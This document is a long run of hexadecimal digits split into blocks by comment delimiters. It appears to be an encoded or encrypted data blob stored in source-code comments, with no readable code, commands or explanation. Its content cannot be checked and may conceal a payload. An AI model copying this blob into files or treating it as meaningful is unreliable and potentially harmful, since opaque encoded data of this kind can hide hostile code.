4b1b1864f806170c708df95b1078b8f6627c4f8d2e7d727e9552a9051f6e663ead3f1863c5c6d217a83675dbc2f3e6366e973c8a208e8a8015d7fa2b32bf2b81463ec2896f5cf157e5ee9d0c208a6765ca3d81c8bced3c6ff34fd4d35ae5783ddffb084a6801c5ca42f932b680b1653565a12db8848cc66ce01d42a8d3d03a323d68235f15d0c150f3df35a1bfd4a70ae3ece84431877a20b62a8c8dbc35dd37f720d0ea1057ea184dd02d5d81b7373bf28d2ca530926a8caec1d3231e9aeb4fe0c2ffde32c0155254b07a632b609d2bc30dd0f78d80ca391d84d15f2f94ac5b3d720cb1ac92e9783147cabc831fcc558fdff2ef3bab6c5ed8a94a7cef12da5b383ae9e9e4b6b7ef2ce66fdc237301a3026edcda230a2000c9d42eca834fcc3977e3781dff429a3f29a7893e184f401957ee9b62cf4c52651568ecfeb77ac07f0bd2d6a58a2b76033203648bf3f4665f867f134959e564eea210f61a069e255814fc212e79be9f68b9f52e2072bc7e343e1b592250c41e66c09dae7e4b25498e92909e28e25c3e8b84f65843f6f69b4f13f6bed557e6733176c1b2e228a2759ac9e9448fb97d54b24ec8a9b6a946b0193917c9315ecebc795d910dbad34a2ad10cbf4b44cc707397a8652cfd71ce9fb684dddd5cc980cc77a43ce2394fd2686a9105e8616aee575752f0d98446da69d51fdd4b41441f94f4ed46e374edc8155b76f5e2c6511115d4e14c7709cdf9f5e5078444d62dde91f9fc71d20d029d1091b6fd1f2a5268e2a0ef1a7ea3ccb952760de56c811b3e03b531911e32de013418b9e7a30c379d4ec2c89efdba1700138e6d5af0fe92ea091aa1aea08f40d52dfc4001e0414a152a19db2fd2561bce73cd0abd734328e1ca966aa40026c0317caf717cdf1d5720ba4c38cdeeb8f9212761be1d0d6c50c29f71cc827b0757590da7e50a6f5a7ff18aa83d429d06f700435db810260a44427988476013e52513d2015eb13d19d27a3a683c96ae364b8e53085d6e9b8ac3f82a0cb464f0a158323385fedf69d54ad8e516d6c0d880090b6d6edfc52f8cbd1869789cf27955878bc3601ea8eeb9cc4a281fb7c7ec3fc54596b156e3003ff8fd16fc4ac52c47dc001541baa1619e4e6f2304c841e4b117ab246b9790ebfdc4c1ff173f4bf395797393ca32800db286d52f5aece06a14afa74cb3681cb2a16d80afd875c7460605344b6c656e71cc108d4d88c261bc2c738024e6965357745db1a4227a3edf8ba87a87eb48dfe02efadfb4ebb0b395f7d0f1c7887c4bcdf059a52a98d5fa22beb80827ab94f55d5505ff8808e13d139430a471e64ab44fe7af4bd81827f3a3766aa1b8f94a7997fbec1d8d6b57aef3b20ace839b33c8d107a8eb338c54a9c7e6aa1d866c522f24b9795b2c9ccf8eca8352f435a505549f05b3efaa911e0dfaf2bf96bf4a3c40991ad0e9e359fb380173162ca4d66cf813584aecb2e6cfe6f76246d28dd17b24a1e263bc000c7a002bb24c6a52337a03f899c9ccd220ee4ff72a53f83a13221a8e602f8aac433381a69ee5684bd4cc3985e0954f9d850815c332023b188354db6d12cba849a829fc723ebe0af57c8d5210f82013b7de8521af4f14ea64d780647b8239138bc49e77e196cd2ac31e1961043f2f3c119951164c1105c047952e88f816b9b0a4b0514b4afa4edd07e74961512638b84d18bfb0247355a8710c5acf9bcd2a1fbd7134cfae8f0feb50df35f7e9354dc74adf733914de3a16413e9323772d624077235fbacfa55e57f71c5bb986be5ab20bd0f80c467ba2f6c41d8e3fc5e7632328ff325b7221df7e0c22b439243c0a2a4356b2f9bbe7f18d2a4e1e8b5e4c8889ae15edd3c32e7193e3ca0cb4c141d3ba48dc29f495d8e3e53b2281979b910fdbfa00287e93120b748f727edeeb9929b358d93c190ddc14ffd125252a60784e954fc8f24528744241e52cea85e8dbd160e2b7c8d50b4db707090dd55ac7df1d18d1c9dc447619db208e40f907e910ee9218a3ddf9504e92a5bbc3aebb7c9f4cdeada54268b301c9a39c6c1f3f4b62cbf5f09a66c86418c2088ac585e12c4b06aed838ac8e4d877bbc45a7fd576f08327f3a9e4999b4b22b35de208221db730abc248bcb9ab4fc1f926e679eee02e1cee80845745655fe46d7f9d78c5bce0d0cc37bde4a8e287b559af88913f89354a39f0f87850cc19989f7495fb9fec334f1481728b5b15af358c3db8e6a3e161ec62ddc408600db66b492459b1*/
/*87bf1e6f08bd5ee36e1b38bbe42daa9c5bf5f739c5a4afd8c9181d7d889ae51322b8f5bc346780a838688609e126d2f37ec4271a08fc9df5e7ba237000d01a53f39a8e914c998cd420599236e8d4f9bb1ec69c07a02954ce7082aa51452b8110fd1e5741ef16774fdd66cfb2f9c22a4f1b2030f435ef2dadd4a3750e2c95328930b3797ce48a0dc0848040f690b5303b855226c9db8028c8a374a7add6329e1da100766cd8f0c7131ccf968b245ca7678df6119f96f9528de1914db6e36dcf5c2216e9d8bc55e85077b8d479f76a0b7050fc2f07361979692f43e7ff20cc7b6a06d06215da853e024791e746b61e3d2380d53887445c3fb6a17b990c69dca17159bd34e0072450855daad5c2a9c1bf79528c02dc86021522560a8b733b1d059fbc1b7e832e8b79b25f67fee54c4dddc471b043e3adb9bd2e25c45abddeceabb4666786ea5b15a9ea0061b3d649d4275a5bfb659d2faf5887d0cf4ff493ad8e2dce2c29a10598eac9718cc5d9d0bd0269fa9b952b211fb486d2451a4b042b4aef12eaa65f1ec3c6a939507773581444c402d2e58cf6db2228c78e5ab8469aed6ee1b8731d163787b9424388a9a95728743ac0faeb5d0a5f18c6e18aa326c9a95c590cfa548dc99fd871db57714ad2764cc0b50c1af11277e3124da4b25d46db5d4fd2e252a32ac4a26bd1b8eda5ab95a7af406db7201378884742290db0dde6fa1cb9d18d3c58672f4153dbf9504489bcb940ac7ef43705df085fe9aa6db33308e46ba91c1783e6526794206424f9b98f93e9fb3948ec70ffcf9a0db7eb1c3b03c2cac8f8ff62681d0ac74a26e2c026df260e18aa8e71c30ada581f47864b51f216277e5b5550570b4e10b657c0cb48871db749815ee6da34bb019de6167f4532ea15056f2ba4ba58beb43326348ed34c3c761e5bc6dcb023f88429978bbf70051db2e1b6105054f1039b133c3d049486fdbd8890a2f4f6013a4e70b65ee7d8b15a464905d781668cd308d713fd3ff06d793e73aeef56a2126e270d52dfcf5616d4a87ba22ed3bcf42444beaea1ee97b2d913f5de1671977c5464fdda124e70804075d2da3e9cb133fa7ecefa90a500d393069a034486579261688d94876d63cd36079636a697e7d337936231c695c47008ad70d1f8879d9340ae55fdb756461e630f51dffb60e6301f8afa8a5008fa81d379d250054b5777ef715f1dcadd9cf2bfd3753620760fe81ce5ba5288f7d55435f8cec0e43f11bddadc8ea656152c195dcdae257b9eb4c0d46ecaa49a04d85f6c6f91f424ac4c534a4d322aa5e3f224ff442ac4e5525a54a395dc0fee5bc6c177135a66e5066cfb4e2c87d11957bb47ebee477b3657315a77f1dfdd5a5a5aa105ca02f993a1dc40ec9d507a05be3a8187814a92f7f4ca4df7d587762ca6cfcac64ba6e8fb213581e60d5735808f800781aa8da72a798ee2cf423f27ed2aa3ad51c4450e221278d93ed95da184b40c964e6e1e35b5f28e0c438b46c22722ada99f719e948e99cb988027a8daf7f9b0ad955c3f32a795c93a767174658c326330e5378d59aec27bcf0fec815f65076f3466176794cad4f2e889a6d2395e0544507eab30b4a057a9772adc6dae02f6397e69dacf08f5d1920da55efc5fd973e4de36b2e471daea2a40472a65fa7c4228ca321a31cf7fab910fb4ab77a176ecae82d7b40ccdc087f08643ce270c49c380d7f3c09898de7e52b214fa47062aeea8fde29db0edceb44b9a51f5558aaea7aea88fb7fe67394dbfe6da484d9c1beb07c826ddfd995fa391a633935b2f18b9232ba11f693009c0af561e5fca9708050199225c2aa8c2ea0212ed1619a54c66de542f3426ed809129fe98c5a513f660789d2753772fcb9c7452121946dd65b7c1499b8aa8cbeae6e603418a505704a165baadaf98a17fb0258fdc865375d4dfb8ac412ff743d27d8114cf69e1d157303af4ddd63cef6ef9a285e2e87188599fd575c068cb142c57a90e9a0cf8a58af35d51a883838e4ca8ab163bcb6ca39114dd6cc65e418da635147634db202a7bf7afa86eed3d7c4f9633facaaf530e6a3d1cc69cf710fb391bcf7fe28c34f0d48097b751933edf20bdb7320fba0d02e0b10deede958599c0591a427e376b50e4fe7aa389d0a890cd5c96709a73cb803833b9f451f8ca322829dafd3235af0125e3aa5dee4acc95534584411f97394299c0be5e985a9c39a6698c20c4b653e9720390a115d391007cb2c64a8eb95b2f88c5a50b8f9cc43e0d078d1c8ea17326bdae316e5ce50eb2c388aeec0b626b3dc51137df954c230cff70f159908b902c18b17b398a7105bd0365622166f13cf674eed99f2967b2091975733997c8359fffc748d7302f49188f8a901889da1e91a33a3e71d630543ec11a4899dbb6c5e3da2de39617682eea10fafa1c9b4ca2b54661b66942e45796ce6ecbc8ddf1aafbc96a5a976799bd3fccd2001d64ca8cdd11b26517daa37689cc6fe35e5722146eb1a4e4ff7df5c8c1fa83691f382b503fa99b3922e947ad8079795fe423f828ee344350fee1762df9bfb6fad556bd82c48549c2d9904ddb95bc3ac2a67ad456a8abee960add072e4e61931c8d8b7ea1fa2e40954bd9abc1bbf82d516aacf8adbebff280c26012fabfe464ae89853e72132b7e45b50e59f0445f9581f5ac6a6d26484d9373a1ba8ed8b335abe7ceae48ed0680522376a63779bb47f7e139eb740268453806786bf394b58e189e4340d95582e815f3ef36651b198f0dc3d24feb5fcd2e966889a30077bff62a2899c0dedb3a80d8e375f5312a5d37730528de068f4e971577*/
/*15fd0cb343a806417116668e7ea0b347c0296dbb5bdc8aa1687badc501f34b5b2857a53fca0bf54b3a9577cbee92d277361c3e7c07a3d993784d32e2bace5ecd4eee77f2705be7006e4ac8c4a92fb8f524e6490fbdd25797ae7fc16cbb0908bc7c0dddf31cbd071f8db31f040c5ba67f66987985d62b17a637489d105ddcd3d42f2f5ec6438ab9a7cc3138adf6c12e2bf96dc67a9a772fa51b34e11177d12391e932e2eda8b18de52a9b9015556d3e3af1acb5588d846afae41317c9b9c2b8282d725e381fcb21b01967a87b9d870ca8eed2afda1fa45dda716c04af73fe9f17f386e3b64435e90c4487dee95c1e725c7aa2179ca8d830f768bbd9789c30b09a9acaf3be7455152b7df8e98b3867ab252b36d8946c5ebd9c95cf33a5fa16c8f4bc66464f36eb8119aeb0a172018facdc5bfa528e9859ac02f95f385460ba6ad0992a7d35f0f337ea0e9482d37ccb65a90447eb608b2fa9b99c5aa229c398f752b0a1113446f5af157f6e7fefe8c400e5e26a57594a2db376c053e3b58e1aad93674ad607b807cc3be8f053b68b416bd524ee001df023119fbc07e3b749c5665271f793148ef6adc77e2cb8320db101a5f144ed88c044c34d1ae101d000d833d46dd5fc017a8dd1818d2d0bde169383a6a3853cfbfd3409d1e532690e33721861193fe4271f0eeccf39cc504724470210172534ecde64f1004347e86607cfbefe1247c8e2699fafa022d094105ab0d8c603fb5289ce6c9a968f01072b0fa02ff52f690adc9c75e38ffa641f160e73fc9f250a70f7f0cdaa73eb1f7cd3df5af4ae0e4cc4c8a0c725c659783ebc25ca04007dcadd288873cd333cabe6647331789fb2b66e9b6d995a9b29cd733516575bde258a3019d6d84b7541dd2ba9d324d42f0c467dbe2dbc471b98abef1e0cacf166f66f1d92b0f53cb549b4d4503f142ea775c196cbb63e68ed2bfe8375922c13047e80c02c9c3caa46d43aeb32336278fd9e9cb8bf4431ff2dd38825fdb842d29138485fe09dc0180f299cde39a27c08ec5998dfcc74612cc0e9c926be14a0ad69f83dc315e1adc3004e9e056adaf6e02b57b1a57d1e50119dcaf9bd042ca1513cb3fc162b238db1d7d4f4494237b7d15e129aff00e096195f49d41c89bf2b6f255590531476c5927e28963a1749bff779c73ed342eaca3c44caac521b65827b34ca2ea5942982bdaf5c716cd75eba0d6c0cdb16ef68542af2dd46d3d11e63363efd39935abd8f97c2ba14177102f97a1f35a94af757bcefa951e948267356e725424f28a1cc493f08a2bca3e1e89341baec7f637697cc122dcd376fa226be078b0f280b893cb22fb80534a053b03be813c5e466407db71f026e5f9a87dc39db7413a0205b9a2fa834158a0b15c1a0ed217e1013727da80e67558736978e7ce15e3ab004f6f39cd53ac8fbfa1f44523c29375e66060056cfe9d40eaad151fc725c0e0c08dda2aa3444e86bfbf7008fe38f22bf580c7ba1b21f7606fa7f14063259b8cf4bc9bacba745a08b8a0eda990dd0829681bfc091d3b9068723328f62f3aca2fe8e1f6b45e9c1bae461ec6e5089bc599b5e219b3335591df9715c1ebc313d5a4083de8e21ada7a176de6c0b6002a1ce87700eeae1d6f4ad9152239a9fb3d0795e53f2ee7aea5a99fd0782eac2bc2b22af95f6e82eac9d728d5ff8245d8db0300646617444de66d5944f4c5b5049aa196db640799dbaea40fb13b7f1d55daf02d78aa6807a6651850b02a4132d09f047b55f17b48dde75f41b5e1c9adb53d5a2fbf1a433c6f29956e394d46e64387baf3122473f0b3117d55f3f4cb808662ea741ec956d5e7378c79d9c35748c4eb102a7fe02272583db3ab4949ef899ad32a391d6b061af6376c2501758419415d7460b19b965e59b5b6b3034ce1e7cfa00401a9591d458fd3b530da2128adf90f6ec829f1b2c0db6e1ed002a85e5aeee78d8a0b7c4b8a69d6e647913b8f0a1b975c413f4adf136135e28517cb87a8c470eda89610e27bdd594f1047bc4b1795b7d8da96fba079e123b536cd7db7ca23ae2cf0dbc83317b923c97cf29a1457777ad2cae28ffba7ee16016f9d6f0c95d5b4a9bdf9b20b02374515132de10835ee116a1e3e87b2a73b831349d643f88ab9f98d7b2270375e9f1e10bbc341c661e8940f62a24b163905ffa68d5600f538341981bf63f8011810485f8e1360cedb1fe1f849c1238b9cd40ec7284a159958ea7c21768126d7c774b692e010b0e5869da9ef49f8d24f9b1364b3115d2c90e28240408dcb52463cb31217bf5ace23b5e28d83c8e2473e4256ff70e9bc9730298dedc4d6b73c4dca3cd99fee1c72eba72872ff80e32b56ce85be65d5c0a919f41a41d5f353a03bd0ab6f5be1f73f389cff388423385eabe8922d5b1db19bc25aa9e9811cbaa917d56878cb58e2aaaa58a42103f132d6595d6196b0944a7d5493766ac60340ea662d60026a661c8daea1e3db9153aa1263934a8b37d335721e083dba01416c702f86a8bff5e445a24635fd9dd2b81b1050747c1d4b16d8ffd93b3be9da6206c0134d0402486e2ad69301a0cf317d41c2e01282c0a858d8e844f20c4871825d9af3fc97476b35e515ed74a7be81027f611628615aa1b17bd454f0fc3a6c0886f1c3f51f6d53dc1f69a93cd7279748d879bbfb70dff595fdacdbdac5827d397e01dec103f5ddb0ac8ca5a1c9f2109b6604d524d1c7c1c672e2a5da0526081977fcdab09352a1868d61402d80af402cd13a7b71e5c2ede2748f65b6766a0ca0b0f8e938f0ab16a845d32952501af4ef0d1c771f3106f5a7be1c444b9a388*/
/*8d8ff335ac31cdffff82b2cc8afca5618d6cf565acce3c48f68b95f6c13d5e36df34f9acc37e193ada7ec1247f58fcfe77634cde0c4a14556b86e7388a6efa7cd4d29ffb5ef15600190b18fa12dca063e7b1444f7e70928142779b5d709be9dcbadeb990fa37cb7e2907a20dcd394bb6dede96f589683c93fd33c77c353fb7d07de73c8c8a247bf0d64fdc55012aa9f0534cfbf55c6906195aab8b83f82bfbc32887aa57dd84a4f35007eec2843a4503073183cc68f4bea7e4807f922aa2adcbc51680c28614b84cbcb65d59be03fa472d7147a0a0d404a1646897b26acd2c0d757c89e6060168986850f155866fbfacf0d8fd3a6c41738309922d8518abbc123d8c50a8a4bdefde1ca4476465cc536ff063e0109fc50dbf1196daa408adf72bfbb5cd1c9016c66c308983c9b6596d74edb56efddbb16ea04b4dec1748c08d90c091901227ec18906d3e1f9c9b8cdc3a895c68783e28a047c61eb820e7f616a34b45e18d39c5e125b4fbfc6edd5746b6d05f658ca003067b515298d8153da182daf5096fd31ac024a3518ee14541c8332ee9f444535f027c46006d0580d1758f920ba03587109ea758d1403b009e3ebf2f83ee8ab1b70cc9928863122b8067b9603def302fba39b18b957f2bce627194603ef22e8aa77bce7739e112a27272faa23c05b3dd9a3bff939590b5eb987d4efb2f6f0759369e6ed96cc1d7a5e958db1191e4b4710ed11795831c6e3070a799ae5f704b8f486833d112ba4add43dc0df5255d429eb77b6b335451f82bcd9432ed3d3ebe914fbe5c0bfa86d756672b65c6fce766997bf0d29f45c49ee74c054bba35ed76e04340d9c3d5e0a7fe5f4446249eb89cfa4ebd20f13af1c69caf1c97fd7ce92a7d2f535ca5560d737cddac3b8554f7e53dc1b1d2fa0f04458f54222285232b14a76bba47505a0c1994754cd2375f0904b34811fa59a7a9b1702848402daeded131abb09c5dedb8285405167e17c8d02cd8bfcac6ae297c7431116c79661a5fe6be1702c80edd8c3fe6c12ea62e92cf2615ea774b81739d1e198b6791f65f0a1db6137f50f61ce6f0f503bf82bb5118fe1037a6073ecbd4fd54783ce408a2b29ac14494995a8c1c39e518abf3db9361c97b76fc7cbca977a2f15a0a7af6f754453362c94e066fd61e918753801f825b3c77ad122217c41352e41cc28130a5badd1be8e07f41003e69c11aef092e92af357bc7c8ee237b1dc52f2a8dcb4d2d824ba425606730086b921129d1fcae918c07cb5052c96290fac20abe998fb76c54052db3de644f4ce5480025f87a3b46db6ec39c409b3208b20214b449bcb6a4a22336be359976d5f897ecfb3c51f55af9e53a7484e13fff8cd713349f1901de24e055ed62a0b9f492d9b8ad9fe578ef3c18e862b0faf205735b2611a391af97f29a05fa63448a6adbe9382ca9b62af3c6d0f79ddfc360510fcd6447faf2c3bd006bf874dba14b778a140742299a827bc91db00b11fccd8a92211cac08be68aa309a9cf64fe612b69f5cd6eb6197586639a5980ad3c4454232ade7b77e3e5a765d8918e61b1932595d3b1cdeb64663bb480d47d4d9fe3d381006b889cdf7bd5afb980fe19a5d0e30abf23ac27a53f7d13e3daf6e59760a3e6f63d06a7e5a1a8d1c74339347ff7a955bd89d47b17a8fa85e28c3641a18b30152150b3c7745b3e811753adfe200d4aa547c158eaf5836b74c75f55f87d4bfd0179ddc8072ea1a44b7554bc6e2fd0764e7c680654aa5b02c11c089b6c8f01786b78551a74df0eee903d0bbf4a98b3bea8dc954bb54967d18fb6fa761fb7f2af395ef4bc34846461c9ba7c4b61a37937ab872fa2337590280382c2c01870b6aadd56ede542f0f3f13e213e8727427a41a352d3bb294e66a01978f4892a17c2df6c8d9826e3d985857701f211f75983d16424ad3cc521213ce088ba8494e58ce613a8126e52f8fad459a5526d7c1f59b46012d5738e054d37778299ab2926dd2d83bfa05008353c52ee63f8acec760aedba85e14cc9a6cdc027f15d2028f06d46a83daa81716576245a9f0a321bf2b351fccb7ff26df76815470f769336e2184a06644f9f2da942474a57bea4566e2eb4a442186f379c6a1cc36dcce452d178085ea321888ac5c1a107b69d21c098662fd1a9bb5197b35a671f73ae874d8627049529b7e64bca2074a09ef17819c261c2ffe87c74b9b966f62101dc4f477a49f05d883fd71bc6e665ca0416a5f1c1604d02dd8137b9e7627f411f8762801ecdb92938728fdc301f540560c8744f937dff60dcd773bf051712a2ddafb90f8e95d308ce4a8ba79a224cf0f8907bae8bd95eef612c7e23ef75b0427e958059603cf45d2e83f7931b23e41199d258ec83e24f7efe4e0e2f64cfd2d35240867cc2769b95d9624257bda17515df544f9a6855927ebf5e3f85bbd91e4a63cc0a648a84f898c5128a567f39a2ea9ba8ffa3368806d3070c2eaa1bce172acb1c63a7edcb993f9d13edbf020e010072a73cc50ec48f789c53c44d2c6c14d5e0d6306ebf64b98cd1ddefa5ec7bc5b5cb57f577ec5cb1365889532e3268ac4683b2013fe79d676e69ccc0ed64f77cba03356629562f874f5cec220026017a392f2644fe66b3eebd9765fa62d24d931ce499dc215f56736714bcc0d2d93c7289c300f6a0d0d41d9ef32cca48d4d8d4be8be2a4ce4e25cf9bbbc03d599a5b04f9262414fcdd57238ea596d083ef4bd84df3a70eb482ece60ea7fe49a397ebfbbe623dc044dff4db072bdbc75908cba963afaa9bc13a43f71f96c72689d222349596b75bcfc963ec9ba905de3a1f0*/
/*61a7aed642ab4b35466a07d3469b3509b7c832a6cd78b3f7d5b3de884a1c84e5b2cc98d5aba2941de279e52a22b82b6aafe0025c16fe7af4c0fdd4cfa3bbaef8ee3dd6ff0acdae5c5d661eac943de5037bbe6db59b01a6c37d26ef1bbba5e7a4cfe3c2fffaf5a7384ac4acc608db11faabab59526b6c513aa9b9db3befec00fe671a6ca9dbc87a22f35e22f3d42f8091d19f542db5e20227450c69f0b708b7d286e2ac02f109d2fd214aeb403c8fde6ae179f991500d278b0198a06d1df1cf34ddf9de9a674b75be031c011f47b5bf60907be843854d93c7f002d16d31d5b7ae23ac4c54294c198f8a24345845ab8936e9180ecb7869d5c043d9cfb09ec03e3989500c73bc0c09efdeb695a2758e8b10efcac398cc64b2a8a937d06eb489d1075e4ac7ad2e319b0940d7580eba3d0004a9bb4d5fc2843945ac743fd841565edbe4b9556616c9530aeb34760f7acebcf0cede8c382aaed27fead9d07b14df4373d31ec6c3ba40b040067b5bbb58a6e384f85c13bf2b49c7b76d18a72b3587415ebcd61f4d6d784f8dd87f237d0c170cf6f347177d00f4e0d34488d3a92e0d87ad6085b350829c6a085f835822ac49380da05b34c418f77be7b9b6b7d69ac035498f6507a2ff07dc8fdb835dd5b24f122acd341c7c30313d96f3866943277c6c7a3f298b1d54abc25c3de985cdb47ceebe10c9d0209caa88fe221647ab5cf21134e0eeceaa84fe08c6e925d2a0b2189dea7802ccf0126467ecc7c912d0c9bb42deeef01f1b701ae3fabdb325a5bda0d970c76796390774985819ca1d06c5a3ec830af9d2eedd4f49b732b318c74f6d479b70a76f12d7b245482ba100b0181fb03e1eb3f7c795cd3e156fcb8e9e0716708393bae6079a20606e684b5855f6eeda0590e9d6748eb832252fbe1f4645f72c64e43d6ac11ddba0d5aa0c5826ec3e3821eaef442267e2f244f77a1d52e4c088717819574da65b0d608e007d3faa2b1e2c8a44b64ec2ceb86659bb1b14fa9a8eae51b19a4d17c85b3c02fe1cc25a1663b3ea2d54c4cfa61d31e65d1d962a11cdb21bb07bac75c2fb6aae97279732c1279b6251d9d3c6c8e983ed474defbd407247e8525204758ee1b009dc526080c8e9d9a911a6c4d77a8354a64faee1d9f1dbe6fee456d0a9a8046f63202d5a3532230e1b39e1e0d73d8d93a8e22672881cfa682304cea4fc988c6ce0dc299300677adc21e25b0d9b4b8d57789a977962a60e4b7b18a1fdf040bc226939a6c8571c4a55b26c85f819e26abf96ef49eeb82eaa913356b93a79bef76c7f676e943788e842acd123708143b4fd006dce1006b8f207df0ace6af793056925c1501c2c42ec10e8e2ba8f91106265c06c94a41417215ae4025521c69adf60952fb8eab402b34bda0cece0e1da54f67cf51ee241a73406c6851d0e59256d5a03be2254df7f5f138a2897ffa9a52cd048d72c18a5fbca275cdaaa11046b827a734876c678698b875a795b826ba149e9c4beaba67ada22c50c168ede3a8be2e9366688b55cf9f48f83d902fbfb539122bd275b1e5a099869b58b8e0a606fc100e2b120f047f99d2a529f2867bd046401d6661b15162f324d431c000535b97ea874bf7fc3f63a91ee3464f4595f6a9b3de24f2b8148d73253618a37f04e55799baa5feee48d1d9dd3fbce5991ff76c96313bf6caf62628caad00936f936a39dca9b60bd381b6c4c96afefde1058b923305e13170070a8615d07f811571c5fab004a5007ed316760379e25c375b45eae8b18fdd621549fcf7bd93fae5dbd4a9457f0f381f86b5341f74ecfec0c36ec752fcee5ab2185e50163f62718e840c59ed9b01750406680589dff9c94cc747e418f1f4ac6501f139e6ac7b0c1744bbf9c8d16578c6f3a7c395665e7c7acf081ba7acdc27f0f20aa9775bb758b5a0ac902f7137ffbb3332fd4990be9c6b713cf068eeec02d05b84cdc09038d07458c06ee10f1bae88d6230196c238087e88db972ef27ff43ee6d0d713e08ed92ba4af49291c1016228d2f345db4057a731f2784059939ab13c25900e1967f3e2cb63036ad3de1f895ee90875a8c468f6f3faba308e184089a08105f151bb91c05325c2b7c1ba5976e9359c2da2ed41799554a1aef6c5e99ed1f87912be0840bf09556db90d9e4ea2eb07afd596527b2d2ebcffbd1dd76d23ee08e7fbac01c5735849a436d22fa6b226e643b394c1b605122f3cacd1a0eccf31ae6411f3c9f24514a9da40b3cf6516e5fa73d0dedbf6408c73bf870738579e79bebba3b02b63fe508330087cf8cb826100b57606847b35c4ed8c94008b03b950b47475834824b21e557a36b339a8becd7b780085babb261a3ea4772231badf02a1ac9ba370d66f07ed879121c3249314898b012ddc6fc39e9ba5433e7f2b1a5d540af94620056e31b7465a3bafde35017d642adf9fc0a2d9796278b8932f2d407ba081a270e0f10b9a38edeca3d3b17f0c365a3181565e4778c90c1f7e5e4531e04df73a06280db87ed4abf28d52457de3e79eaefb9d7c279d56c0033a0a161dcdc5a189bd78da057bae6d16ab0237724bc381b652748c5bacb08d5b2b0f906d4302c55df2b7440af46404bcbfd4b46fa55a586bcd602022d6718b11449f14b0c02749edc623462ee085600e0e8522a945be0dca97577a037f73aff61db491ed6df152b83b2105ff50f2504a0ddc66156a2a281108cd416948e4573795113f62f6580b369a1d0b216340977fb8bc7c342068894ec03631f72b083087962bc628115f10d94c97ce3eee00c3cc256463d4f127996057a2f9110243ec2ecaa1b09c7a4f65dc*/
/*d3df4ee862bdf83360e570d5fcb67db92dba34e349916304436db22d53d6e7cce696cb2bd11f7d9f5add0b69488f930186ff6e2d72cd9f5d65105c8a0c688342334d480b070d9108e89e918bb597ba2bec1abe20c7b3e148b05007a37b7de99767850589073cdcc07353bfee15e317ad3a4b203ab6fde5d40fbdce8e4cb6c8779392d1b063f288a83f5c336b6a0932a80de1e49035faca6858a90eb5cd81cfc9af75328bbd2e2be9dd640cdd2c247ef9845d9cbc47112450985894afa6009a7e95c36f72e410e0b717aaf762234ef588f1c0320cbac942d3b07d64bfffe559da57fc6062017c2678ed09d3d9079f8e813d42aa529e79e683ffdff6c77acf1ef37950c880a07a8b78ead83fef7641e3c8a7d46a5533ac30759bdee0ea4b4b4c6507269fcba4444218313b8f1b6ead079e074484fe0227eb29db29d421b7689ccb85367b79c40fa60812247826bdb9b16ab0273d4de9c5fbf38b32fe791227ab8dac68e0e6924a7b67faa731a6f6dd799afffc037dc6c30786d0ee49582b0ede89ad483d0d5a92c3aa51171ee44cccc5837350b4aaf5c0287820fd32011e050f81269e575d14a5c98e79e71a5bf82dcf13e3fe818fe2ac71810dc2d14d9eabba6527a35ec5518bd798fcf48b53eaf757fe3a53fe797485035992f1296713ee24176688389efed1daa299a84067043fbba0a1949f97c0e66d57e215072679907f82786afb8689685e06482e63f35b46c607c0f6359ff6983dcbc6b33e23216a8b7095fcf16488e13368b57f22bc9641f28e9a7ce3a23df12d71383c90010c858ef916528d07ebb48af3eba907d8ba6ab79f675cbf7ac77a6d25bad2f9fc075074755660a01b9750c84a7320d5c3e0cd34b5cad79751e9b360ce875de36991b705696628313bc6a1d911fcdb2ff7db56d6e446795f3ed19074b4b64dc728d656bc4c971bc03d706ff98e992f19dd36704717e74e3c2e7b7c9a59d1405999b5725eaefd3c6d71d6f12a81b9120ef4792199ec1497d32491530b4cf835819cae1137418e81e8d94ae8da2e5330e27d0561c7098fcd170d791049197356a5261f381a41eaebeafa5748a12d0b3b076d1f46c396706296a16aab8fd3858eea1a736f3fe1cf0d54ef5c5488d0a08c705f59efc484f18865e1820bde2d95648f32cdd8c66a057ea3905e4d11ccae6b08404a976f46fae7509c17fcf68cc0950b963282dd333f29501fdbeda58b5a64be7fb78d6b8a6fa5057cd3826b6707f06c637b02e229ddb1bf16b5af24f8b2d51465d4b73b7fdec818a42bc09dc83c04cde9c19589329568edf1c5f198ecd099b3d04e209305b94d3225cfe2b27622b924c461f3909c0912fda66942f80dbe3bbc0250c25c73e3b1a2bf834749fd0ef8476158fff0f76861c5be0100c2ba5882909a3ce1d12a3c57650d82ea3a9143ae73c00de4ec70d527ea76e435c0c4d4e2c6cd764b7ed891bf2bccaef2ffbcaad8e0d234444a4e724a16872a9f33caede898563811200da4963775d64bc2a53e648d1c7be60514a5e22a51fa5239f3e4881a956ca918dac0ee98feb3761fd91f54a4cdecc54a58b4af66807f9afedc33594ceb54cb853db828e12c3c63bba18e2eaacb01042899b648c076cbdd08c19f2bdcb3447176ae18827db8be6caf92a9ecbcc291fc29ef94a94100843c590ae9ef5a69ecad0260f62e5576bb6044a7f27c801d77d33e0d0a777bd9aede9b8a8b454d9aca0750174b1eb1dc83d00f3040230cd0b65ba330e27105cb8b0509fc9e6708d162496c1f00196060870ccfebdd682555be6a304fbdd18e38a5c08077732e927ad7e6701d05336bc27888f900400da6141e6ce88a0678052ea31802cb64b3cf53391072a59e162a27f280f69b3f072c9090ffa3241c58a05a4ede451b368969bc5c8a3c9fdcfaaef6a44ddd4e7a122ce066974f8ef542731cca8d48e7e615419d792c7e8c00be5a514d612bc5777c96db89da37d4a088ec4cab32f3ed60cd9421d72d5310838374ceb0730a2e5bda9019e03fc05624c5cf5b93399449a0d680d9cfa42998026e1c989c4fe1f787d79229b9739d5fc03897c0d58a3812b8b3f924d4f964b0f964b60cbd25d432d839a043f4e261f0d6f5ca44fd095d3f3452fd609fb109e0ff799a239836970bc2b377d575534fd1286236598c3e156259b33a39b3973109ec50c606c217a2750b54eb6ef04f96d31a0567319949e8cece714fee66d11107fbf8527df9f3cbb674027b212a76c559f251b260bf2c391e5b587373d22b554adc6086c95ea0f8a5f476cd0ba47728c7cf73aa23ecf9e10ffc37503dbf4080246a6a69f939a8d6e896614cefd1a76ba60a5bdaa1f3eb281368e39bc8ade0d813ca47fdd23bb76ea1c7851f5ae056b0377f8026a0def3712a42a3ed95b70f571c058a36254673c91fb5e7e522310ce18dba69cc3dc7d1e263168d4b87f5593ad2b2fa8e7dce8b512152b68663049dc088abc8c370bb7a76f32cfb5a7799af7844af0d8aec3026bc4916ec2a597a9b78fb828135505239cc8f733c618cbd102274ce7923d3878c0c54c754c8ae6db53331e3b02b8e9a94f68409b5f75d071133e4cc828fad22080771fc0f5f637142252fddec24262dc927dc2158c2218eae83a907e748f910823dce24ccea580e47c0430abb66e61325541cfa22f1